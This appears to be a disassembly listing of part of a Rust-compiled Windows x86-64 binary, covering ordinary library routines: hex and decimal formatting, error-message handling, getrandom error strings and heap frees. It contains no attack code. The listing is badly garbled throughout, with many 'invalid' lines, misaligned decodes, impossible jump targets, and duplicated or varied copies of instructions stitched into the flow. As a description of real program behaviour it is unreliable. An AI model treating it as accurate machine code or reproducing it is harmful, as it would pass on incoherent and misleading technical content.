lea eax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
rol byte [rcx - 0x3f], 1
call 0x12084b787
cmovs ecx, dword [rbp + 0xfc6e505]
lea eax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
invalid
invalid
mov dh, 4
lea eax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx r8d, byte [r8 + rax]
mov byte [rbp - 7], r8b
add byte [rax + rcx*4 + 0x45], al
stc
mov r8d, edx
shr r8d, 0x10
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 6], r8b
mov r8d, edx
shr r8d, 0xc
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 5], r8b
mov r8d, edx
shr r8d, 8
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 4], r8b
mov r8d, edx
shr r8d, 4
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 3], r8b
mov r8d, edx
and r8d, 0xf
movzx eax, byte [r8 + rax]
mov byte [rbp - 2], al
or edx, 1
bsr eax, edx
xor eax, 0x1c
shr eax, 2
lea rdx, [rax - 2]
mov byte [rbp + rax - 0xa], 0x7b
mov word [rbp + rax - 0xc], 0x755c
movzx eax, word [rbp - 2]
mov word [rcx + 8], ax
mov rax, qword [rbp - 0xa]
test byte [rax - 0x77], 1
test byte [rax - 0x77], 1
mov byte [rcx + 0xa], dl
mov byte [rcx + 0xb], 0xa
or ch, cl
invalid
add dword [rax], eax
invalid
or ch, cl
invalid
rol byte [rax], 1
add byte [rcx], al
add byte [rax], al
je 0x140017758
mov word [rcx], 0x275c
jmp 0x14001781a
invalid
jb 0x140017726
fld dword [rax]
add byte [rax], al
mov word [rcx], 0x745c
jmp 0x14001781a
mov rsi, rcx
mov edi, edx
mov ecx, edx
call fcn.140017db0
test al, al
je 0x140017773
mov byte [rsi], 0x80
mov dword [rsi + 4], edi
jmp 0x140017828
mov byte [rbp - 8], 0
mov word [rbp - 0xa], 0
mov byte [rbp - 1], 0x7d
mov eax, edi
mov edx, edi
shr edx, 0x14
and edx, 0xf
lea rcx, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx edx, byte [rdx + rcx]
mov byte [rbp - 7], dl
mov edx, edi
shr edx, 0x10
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 6], dl
mov edx, edi
shr edx, 0xc
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 5], dl
mov edx, edi
shr edx, 8
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 4], dl
mov edx, edi
shr edx, 4
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 3], dl
mov edx, edi
and edx, 0xf
movzx ecx, byte [rdx + rcx]
mov byte [rbp - 2], cl
or eax, 1
bsr eax, eax
xor eax, 0x1c
shr eax, 2
lea rcx, [rax - 2]
mov byte [rbp + rax - 0xa], 0x7b
mov word [rbp + rax - 0xc], 0x755c
movzx eax, word [rbp - 2]
mov word [rsi + 8], ax
mov rax, qword [rbp - 0xa]
mov qword [rsi], rax
mov byte [rsi + 0xa], cl
mov byte [rsi + 0xb], 0xa
jmp 0x140017828
mov qword [rcx + 2], 0
mov word [rcx + 0xa], 0x200
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
add byte [rax - 0x75], cl
lea edx, [rax + 0x48000000]
mov dword [rbp - 0x18], ecx
mov qword [rbp - 0x10], rdi
jge 0x140018ca8
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x20], rbx
movabs rcx, 0x3030303030303030
mov qword [rbp + 0x18], rcx
mov byte [rbp + 0x20], 0x30
mov r10, qword [rsi + 0x10]
push rsi
adc byte [rbp + 0x1b840fc0], al
add al, byte [rax]
invalid
push rsi
adc byte [rbp + 0x1b840fc0], al
add al, byte [rax]
add byte [rbp - 0x7b], cl
ror byte [rax - 0x75], cl
sbb byte [rcx - 0x45], r8b
or dword [rax], eax
add byte [rax], al
test r10, r10
mov rcx, qword [rsi + 0x18]
mov r11d, 9
cmovne r11, rcx
test r11, r11
je 0x140018f05
xor edx, edx
div r9d
add al, 0x30
mov byte [rbp + 0x18], al
test edx, edx
je 0x140018f2b
mov r15d, r9d
mov r12d, 0xcccccccd
imul r12, r15
shr r12, 0x23
cmp r11, 1
je 0x140018ea1
cmp r9d, 0xa
jb 0x1400191f9
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x19], al
test edx, edx
je 0x140018f33
imul r12, r15, 0x51eb851f
shr r12, 0x25
cmp r11, 2
je 0x140018ea1
cmp r9d, 0x64
jb 0x1400191f9
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1a], al
test edx, edx
je 0x140018f3b
imul r12, r15, 0x10624dd3
shr r12, 0x26
cmp r11, 3
je 0x140018ea1
cmp r9d, 0x3e8
jb 0x1400191f9
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1b], al
test edx, edx
je 0x140018f43
mov r12d, 0xd1b71759
imul r12, r15
shr r12, 0x2d
cmp r11, 4
je 0x140018ea1
cmp r9d, 0x2710
jb 0x1400191f9
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1c], al
test edx, edx
je 0x140018f4b
mov eax, r9d
shr eax, 5
imul r12, rax, 0xa7c5ac5
shr r12, 0x27
cmp r11, 5
je 0x140018ea1
cmp r9d, 0x186a0
jb 0x1400191f9
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1d], al
test edx, edx
je 0x140018f53
imul r12, r15, 0x431bde83
shr r12, 0x32
cmp r11, 6
je 0x140018ea1
cmp r9d, 0xf4240
jb 0x1400191f9
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rbp + 0x1e], al
test dx, dx
je 0x140018f5b
imul r12, r15, 0x6b5fca6b
shr r12, 0x36
cmp r11, 7
je 0x140018e9e
cmp r9d, 0x989680
jb 0x1400191f9
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rbp + 0x1f], al
test dx, dx
je 0x140018f63
imul r12, r15, 0x55e63b89
shr r12, 0x39
cmp r11, 8
jne 0x140018f6b
movzx edx, dx
mov qword [rbp + 0x10], r11
lea eax, [r12 + r12*4]
cmp edx, eax
jb 0x140018f8f
lea rax, [r11 - 1]
mov edx, 0x30
nop word [rax + rax]
mov r12, rax
movzx r9d, byte [rbp + rax + 0x18]
lea r13d, [r9 + 1]
add rax, 0xffffffffffffffff
setb r15b
movzx r13d, r13b
cmp r9b, 0x39
cmovae r13d, edx
mov byte [rbp + r12 + 0x18], r13b
jb 0x140018eed
test r15b, r15b
jne 0x140018ec0
cmp r9b, 0x38
jbe 0x140018f8f
jmp 0x140018f1a
mov rcx, qword [rsi + 0x18]
xor r11d, r11d
jmp 0x140018f8b
mov qword [rbp + 0x10], 0
lea edx, [r9 + r9*4]
cmp edx, eax
jbe 0x140018f1a
xor r11d, r11d
jmp 0x140018f8f
inc r8
jne 0x140018f8f
mov qword [rbp], 0
mov al, 1
jmp 0x140018f9d
mov r11d, 1
jmp 0x140018f8b
mov r11d, 2
jmp 0x140018f8b
mov r11d, 3
jmp 0x140018f8b
mov r11d, 4
jmp 0x140018f8b
mov r11d, 5
jmp 0x140018f8b
mov r11d, 6
jmp 0x140018f8b
mov r11d, 7
jmp 0x140018f8b
mov r11d, 8
jmp 0x140018f8b
cmp r9d, 0x5f5e100
jb 0x1400191f9
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rbp + 0x20], al
mov r11d, 9
invalid
mov qword [rbp + 0x10], r11
mov qword [rbp + 8], r8
mov qword [rbp], 1
xor eax, eax
cmp rcx, 9
mov r9d, 9
cmovb r9, rcx
test r10, r10
cmove r9, r11
mov qword [rbp - 8], r9
mov rdx, rbp
mov qword [rbp - 0x58], rdx
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x50], rdx
lea rdx, [rbp - 8]
mov qword [rbp - 0x48], rdx
lea rdx, [rbp + 0x18]
mov qword [rbp - 0x40], rdx
lea rdx, [rbp + 0x10]
mov qword [rbp - 0x38], rdx
mov dword [rbp - 0x38], edx
mov dword [rbp - 0x38], edx
lea rdx, [rbp - 0x28]
mov qword [rbp - 0x30], rdx
cmp qword [rsi], 0
je 0x14001914b
cmp rbx, 1
cmp ebx, 1
jne 0x140018ffc
xor r15d, r15d
xor edx, edx
jmp 0x140019060
mov edx, ebx
and edx, 0x1e
pxor xmm0, xmm0
xor r15d, r15d
movdqa xmm1, xmmword [0x140112780]
movdqa xmm2, xmmword [0x140112790]
nop dword [rax + rax]
movzx r12d, word [r14 + r15]
movd xmm3, r12d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r15, 2
cmp rdx, r15
jne 0x140019020
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r15, xmm1
cmp rdx, rbx
je 0x140019077
xor r12d, r12d
cmp byte [r14 + rdx], 0xc0
setge r12b
add r15, r12
inc rdx
cmp rbx, rdx
jne 0x140019060
mov r14, qword [rsi + 8]
add r15, rdi
test al, al
je 0x14001908b
add r15, 0x14
jmp 0x140019119
test r8, r8
je 0x140019116
mov rdi, r8
movabs rdx, 0xdbe6fecebdedd5bf
mov rax, r8
mul rdx
shr rdi, 0xa
shr rdx, 0x21
shr edx, 0x21
invalid
shr edx, 0x21
xor eax, eax
cmp rdi, 0x9502f9
stc
add dl, byte [rbp + 0xabf00]
add byte [rax], al
stc
add dl, byte [rbp + 0xabf00]
add byte [rax], al
cmovb edi, eax
cmovb rdx, r8
cmp rdx, 0x186a0
jb 0x1400190e8
shr rdx, 5
movabs r8, 0xa7c5ac471b47843
mov rax, rdx
mul r8
shr rdx, 7
or edi, 5
lea eax, [rdx + 0x5fff6]
lea r8d, [rdx + 0x7ff9c]
and r8d, eax
lea eax, [rdx + 0xdfc18]
add edx, 0x7d8f0
and edx, eax
xor edx, r8d
shr edx, 0x11
add edx, edi
add r15, rdx
inc r15
jmp 0x140019119
inc r15
test r10, r10
cmove rcx, r11
inc rcx
test r9, r9
cmove rcx, r9
add rcx, r15
sub r14, rcx
jbe 0x14001914b
movzx eax, byte [rsi + 0x38]
lea rcx, [0x140175858]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r12d, r12d
jmp 0x140019170
lea rcx, [rbp - 0x58]
mov rdx, rsi
call fcn.140019210
jmp 0x1400191e5
mov r12, r14
xor r14d, r14d
jmp 0x140019170
mov r12, r14
shr r12, 1
inc r14
shr r14, 1
mov rdi, qword [rsi + 0x20]
mov r15, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x30]
inc r12
nop
dec r12
je 0x140019194
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
test al, al
je 0x140019180
jmp 0x1400191a4
lea rcx, [rbp - 0x58]
mov rdx, rsi
call fcn.140019210
test al, al
je 0x1400191a8
mov al, 1
jmp 0x1400191e5
mov r12, r14
neg r12
mov rsi, 0xffffffffffffffff
nop word cs:[rax + rax]
lea rax, [r12 + rsi]
cmp rax, 0xffffffffffffffff
je 0x1400191dc
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
inc rsi
test al, al
je 0x1400191c0
jmp 0x1400191df
mov rsi, r14
cmp rsi, r14
setb al
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x1401146b0]
call fcn.1401084f0
int3
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rsp + rcx + 0x36], r10b
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x14001a010
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x14001a0db
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x38
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x1401721e0]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x14001a0cb
add dword [rbp + 0x31], eax
leave
call fcn.140013020
nop
add rsp, 0xb8
pop rdi
pop rsi
ret
lea r8, [0x140114220]
mov edx, 0x80
add byte [rax], al
movabs eax, dword ds:[0xe800000080ba000f]
invalid
add byte [rax], al
call fcn.1401082c0
int3
invalid
sub al, 1
add byte [rax], al
mov r10, rdx
mov r8d, dword [rcx]
invalid
mov ecx, r8d
neg ecx
cmovs ecx, r8d
mov eax, 0x27
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
cmp ecx, 0x2710
jb case.0x140019144.310
mov esi, 0x27
movabs r11, 0x346dc5d63886594b
insd dword [rdi], dx
xor al, 0x66
nop word cs:[rax + rax]
insd dword [rdi], dx
xor al, 0x66
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rax, rcx
mul r11
shr rdx, 0xb
imul eax, edx, 0x2710
adc byte [rdi], ah
add byte [rax], al
invalid
or ebp, dword [rcx - 0x3e]
adc byte [rdi], ah
add byte [rax], al
invalid
add byte [rcx + 0x69c729cf], cl
mov edi, ecx
sub edi, eax
imul ebx, edi, 0x147b
fistp qword [rbx + 0x14]
add byte [rax], al
fistp qword [rbx + 0x14]
add byte [rax], al
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
cld
cld
movzx ebx, word [r9 + rbx*2]
mov word [rsp + rsi + 0x2c], bx
movzx edi, word [r9 + rdi*2]
mov word [rsp + rsi + 0x2e], di
mov rsi, rax
mov esi, eax
mov esi, eax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x14001a150
cmp rdx, 0x63
jbe 0x14001a1cc
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r11d, ecx, 0x64
sub edx, r11d
movzx edx, dx
movzx edx, word [r9 + rdx*2]
mov word [rsp + rax + 0x2e], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r10
cmp rdx, 0xa
jae 0x14001a2d7
or dl, 0x30
mov byte [rsp + rax + 0x2f], dl
dec rax
jmp 0x14001a2e5
mov r9d, 0x81
mov r8d, eax
mov eax, eax
nop word cs:[rax + rax]
add byte [rax], al
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea edx, [rcx + 0x30]
cmovne ecx, dword [rbp - 0x72bacfaf]
lea edx, [rcx + 0x30]
lea r11d, [r9 + 0x57]
pop rcx
push rdi
cmp r9b, 0xa
movzx r9d, r10b
movzx ecx, dl
stc
or al, byte [rbp + 0xf]
movzx ecx, dl
movzx ecx, dl
movzx r10d, r11b
cmovb r10d, r9d
rol dword [rax + r9*4 + 0x54], 1
or al, 0x2e
rol dword [rbp + 0xf], cl
rol dword [rax + r9*4 + 0x54], 1
or al, 0x2e
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae case.0x1400284e6.327
leave
jmp 0x14001a287
mov r8d, eax
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
shr r8d, 4
mov r9d, eax
add al, 0x41
mov ecx, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
xor byte [rbp - 0x73], al
pop rcx
invalid
cmp r9b, 0xa
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
cmovne ecx, dword [rbp - 0x72bacfaf]
xor byte [rbp - 0x73], al
pop rcx
invalid
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
movzx r10d, r11b
cmovb r10d, r9d
rol dword [rax + rcx*4 + 0x54], 1
or al, 0x2e
rol dword [rax + rcx*4 + 0x54], 1
or al, 0x2e
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x14001a250
leave
leave
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x14001a320
mov eax, 0x81
sub rax, r9
add byte [rax], al
add byte [rcx + rbp - 0x38], cl
add rcx, rsp
add rcx, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x20], ecx
and byte [rbp + rcx*4 + 5], cl
sub byte [rdi + 0x15], bh
add byte [rcx - 0x47], al
add al, byte [rax]
add byte [rax], al
lea r8, [0x1401721e0]
mov r9d, 2
mov rcx, rdx
mov ecx, edx
mov dl, 1
jmp 0x14001a30f
add ebx, ebp
mov rdx, rcx
mov rdx, rcx
mov rdx, rcx
cmp rdx, 0x63
ja 0x14001a1a2
sar dh, 1
invalid
invalid
invalid
sar dh, 1
invalid
invalid
jmp 0x14001a1cc
invalid
movzx edx, word [r9 + rdx*2]
mov word [rsp + rax + 0x2e], dx
add rax, 0xfffffffffffffffe
test r8d, r8d
setns dl
lea r8, [rsp + rax]
add r8, 0x30
mov r9d, 0x27
sub r9, rax
mov qword [rsp + 0x28], r9
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], r8
and al, 0x20
mov r8d, 1
xor r9d, r9d
add byte [rbp + 0x31], al
leave
call fcn.140013020
nop
add rsp, 0xb0
add byte [rax], al
invalid
pop rbx
invalid
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rdi
pop rdi
pop rsi
ret
lea r8, [0x140114220]
mov edx, 0x80
call fcn.1401082c0
int3
sahf
invalid
in al, dx
push 0xffffffffc085018b
js 0x14001a36d
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
lea rax, [0x140019a90]
mov qword [rsp + 0x30], rax
lea rax, str.OS_Error:
jmp 0x14001a3a7
mov ecx, eax
and ecx, 0x7fffffff
cmp ecx, 0xf
jae case.default.0x14001a414
mov r8d, 0x79ff
bt r8d, eax
jb 0x14001a3e9
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
lea rax, [0x140013de0]
mov qword [rsp + 0x30], rax
lea rax, str.Unknown_Error:
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
add byte [rax - 0x39], cl
and al, 0x58
pop rax
mov qword [rsp + 0x58], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsp + 0x28]
lea rax, [rsp + 0x28]
sub byte [rax - 0x77], cl
and al, 0x48
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x38
call fcn.140013bb0
nop
add rsp, 0x68
ret
lea rax, [0x140172ed8]
mov r8, qword [rax + rcx*8]
add al, 0xc8
add al, 0xc8
mov eax, ecx
lea rcx, str.getrandom:_this_target_is_not_supportederrno:_did_not_return_a_positive_valueunexpected_situationSecRandomCopyBytes:_iOS_Security_framework_failureRtlGenRandom:_Windows_system_function_failureRDRAND:_failed_multiple_times:_CPU_issue_likelyRDRAND:_instruction_not_supportedWeb_Crypto_API_is_unavailableCalling_Web_API_crypto.getRandomValues_failedrandSecure:_VxWorks_RNG_module_is_not_initializedNode.js_crypto_CommonJS_module_is_unavailableCalling_Node.js_API_crypto.randomFillSync_failedNode.js_ES_modules_are_not_directly_supported__see_https:__docs.rs_getrandomnodejs_es_module_support
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
mov edx, eax
mov edx, eax
add rsp, 0x68
jmp r9
rol dword [rax], cl
add byte [rax], al
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
add byte [rax], al
and al, 0x40
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x78], 0x20
mov byte [rsp + 0x80], 3
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x58], 0
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x68], rdx
lea rdx, [0x140115670]
mov qword [rsp + 0x70], rdx
lea rdx, [rsp + 0x48]
call rax
test al, al
jne 0x14001a53e
lea r14, [rdi - 1]
lea rax, [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x10], xmm0
mov byte [rsi + 1], bl
mov qword [rsi + 8], rcx
mov byte [rsi], 2
mov rsi, qword [rdi - 1]
mov rdi, qword [rdi + 7]
mov rcx, rsi
mov ecx, esi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14001a509
cmp qword [rdi + 0x10], 0x11
jb 0x14001a4f7
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
jle 0x14001a517
invalid
invalid
jle 0x14001a517
add byte [rax - 0x75], cl
or eax, 0x167d50
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
add bl, ch
invalid
jle 0x14001a529
add bl, ch
adc al, 0x88
pop rsi
add dword [rax - 0x48], ecx
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x8468948], al
or byte [rax - 0x77], 0x46
or dh, al
invalid
mov byte [rsi], 2
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rax, [0x140171df0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_src_string.rs
lea r9, [0x1401156e0]
str word [rbp + rcx*4 + 0x44]
lea r8, [rsp + 0x2f]
and al, 0x2f
mov edx, 0x37
call fcn.140108600
int3
int3
int3
and eax, 3
lea rdx, [0x140175868]
in al, dx
mov dl, 0x15
adc eax, 0x4634800
invalid
adc eax, 0x4634800
invalid
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
movzx eax, byte [rcx + 0x10]
ret
shr rcx, 0x20
mov al, 1
cmp ecx, 0x3e2
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rsi + 0x3f], bh
jle 0x14001a5d7
jle 0x14001a5d7
cmp ecx, 0x271c
stc
sbb al, 0x27
add byte [rax], al
jle 0x14001a5f9
pop rcx
lea edx, [rcx - 0x271d]
cmp edx, 0x34
xor al, 0xf
xchg eax, ecx
add byte [rax], al
invalid
jrcxz 0x14001a57c
invalid
inc dword [rbx - 0x78f0cb06]
enter 0, 0
xor al, 0xf
xchg eax, ecx
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x15b6ea
invalid
mov dh, 0x15
invalid
lea rcx, [0x140175ca0]
invalid
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
mov al, 0xd
ret
shr rcx, 0x20
cmp ecx, 0x29
mov eax, 0x29
cmovb eax, ecx
ret
movzx eax, byte [rcx + 0xf]
ret
lea edx, [rcx - 2]
cmp edx, 0x109
ja case.default.0x14001a5f4
lea rcx, [0x140175878]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
xor eax, eax
ret
cmp ecx, 0x50e
jle 0x14001a632
cmp ecx, 0x1b7f
jg 0x14001a65d
cmp ecx, 0x1715
jg 0x14001a6c0
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x50ff9], al
add byte [rdi], cl
test byte [rsi], dl
add dword [rax], eax
add byte [rcx + 0x5b4f9], al
add byte [rdi], cl
cmp ecx, 0x50f
je 0x14001a737
cmp ecx, 0x5b4
je case.0x14001a5bd.10060
invalid
mov ch, 0
add byte [rax], al
test byte [rbp - 0x17000000], dh
add byte [rax], al
jmp case.0x14001a5bd.10014
mov eax, dword [rax]
add byte [rax], al
invalid
add byte [rcx + 0x46af9], al
add byte [rsi + 0x52], bh
cmp ecx, 0x46a
push 4
add byte [rax], al
jle 0x14001a68c
cmp ecx, 0x4ce
jg 0x14001a6e5
cmp ecx, 0x46b
je 0x14001a73a
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x476f9], al
invalid
stc
jbe 0x14001a65a
add al, 0
cmp ecx, 0x476
add al, 0
add byte [rbp + 0x63], dh
jne case.0x14001a5bd.10014
mov al, 0x20
ret
and bl, al
cmp ecx, 0x2021
stc
and dword [rax], esp
add byte [rax], al
jg 0x14001a6d2
insd dword [rdi], dx
cmp ecx, 0x1b80
je case.0x14001a5bd.10060
cmp ecx, 0x1f4e
je case.0x14001a5bd.10060
jmp case.0x14001a5bd.10014
lea eax, [rcx - 0x3c2a]
cmp eax, 2
jb case.0x14001a5bd.10060
cmp ecx, 0x35ed
add byte [rax], al
je case.0x14001a5bd.10060
jmp case.0x14001a5bd.10014
cmp ecx, 0x3e3
je case.0x14001a5bd.10060
cmp ecx, 0x41d
je case.0x14001a5bd.10060
cmp ecx, 0x461
je case.0x14001a5bd.10060
stc
invalid
jmp case.0x14001a5bd.10014
mov al, 0x21
ret
cmp ecx, 0x150
add byte [rax], al
je 0x14001a73d
cmp ecx, 0x252
je case.0x14001a5bd.10060
mov al, 0x28
ret
cmp ecx, 0x1716
je case.0x14001a5bd.10060
invalid
cmp ecx, 0x1b64
je case.0x14001a5bd.10060
jmp case.0x14001a5bd.10014
cmp ecx, 0x2022
je case.0x14001a5bd.10060
cmp ecx, 0x25e9
stc
jmp 0x1b501a706
add byte [rax], al
invalid
add byte [rax], al
jne case.0x14001a5bd.10014
invalid
mov al, 0x16
ret
cmp ecx, 0x4cf
je case.0x14001a5bd.10051
cmp ecx, 0x4d0
jne case.0x14001a5bd.10014
stc
rol byte [rax + rax], 1
add byte [rbp - 0x38], dh
mov al, 4
ret
mov al, 0x14
ret
mov al, 0x26
ret
mov al, 0x18
ret
sbb bl, al
mov al, 0xb
ret
or eax, ebx
mov al, 0xc
ret
or al, 0xc3
mov al, 5
ret
add eax, 0xc302b0c3
mov al, 2
ret
add al, bl
mov al, 9
ret
or ebx, eax
mov al, 8
ret
or bl, al
mov al, 6
ret
invalid
mov al, 0xa
ret
mov al, 3
ret
mov al, 7
ret
mov al, 0x24
ret
mov al, 0x10
ret
mov al, 0x1c
ret
mov al, 0x1f
ret
mov al, 0x11
ret
mov al, 0x1b
ret
mov al, 0x19
ret
mov al, 0xe
ret
mov al, 0x1a
ret
mov al, 0x1e
ret
mov al, 0xf
ret
or byte [rax - 0x7fd1dbbc], 0xe2
invalid
invalid
mov eax, dword [rsi]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
sub eax, ebx
cmp rax, rdi
clc
jb 0x14001a83d
mov rcx, qword [rsi + 8]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call fcn.140106250
add rbx, rdi
mov qword [rsi + 0x10], rbx
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.140109710
mov rbx, qword [rsi + 0x10]
jmp 0x14001a818
mov rcx, rdi
mov rdx, qword [rsp + 0x118]
call fcn.14001b610
movzx r14d, byte [rsp + 0xd0]
movzx ebx, byte [rsp + 0x110]
cmp bl, 8
je case.0x14000207f.457
lea rcx, [rsp + 0xd1]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x2f]
lea rdx, [rsp + 0x41]
movups xmmword [rdx + 0x2f], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov eax, dword [rcx + 0x40]
mov ecx, dword [rcx + 0x43]
mov dword [rdx + 0x43], ecx
mov dword [rdx + 0x40], eax
xor r13d, r13d
mov rcx, rdi
mov rdx, r15
xor r8d, r8d
call fcn.14001bdb0
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
lea rcx, [rsp + 0xe8]
call qword [rax + 0x10]
mov byte [rsp + 0x40], r14b
mov byte [rsp + 0x80], bl
mov rcx, r12
lea rdx, [rsp + 0x40]
call fcn.14001c0b0
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rdx + 8]
cmp rax, rcx
jbe 0x14001b20e
mov rdx, qword [rdx]
movzx r8d, byte [rdx + rcx]
test r8b, r8b
js 0x14001ab80
cmp r8b, 0x3f
ja 0x14001ac60
mov r9d, r8d
and r9b, 0x30
je 0x14001ab43
movzx r9d, r9b
cmp r9d, 0x10
jne 0x14001ae7b
mov rcx, rdi
mov rdx, rsi
mov r8, r15
xor r9d, r9d
call fcn.14001c850
movzx r14d, byte [rsp + 0xd0]
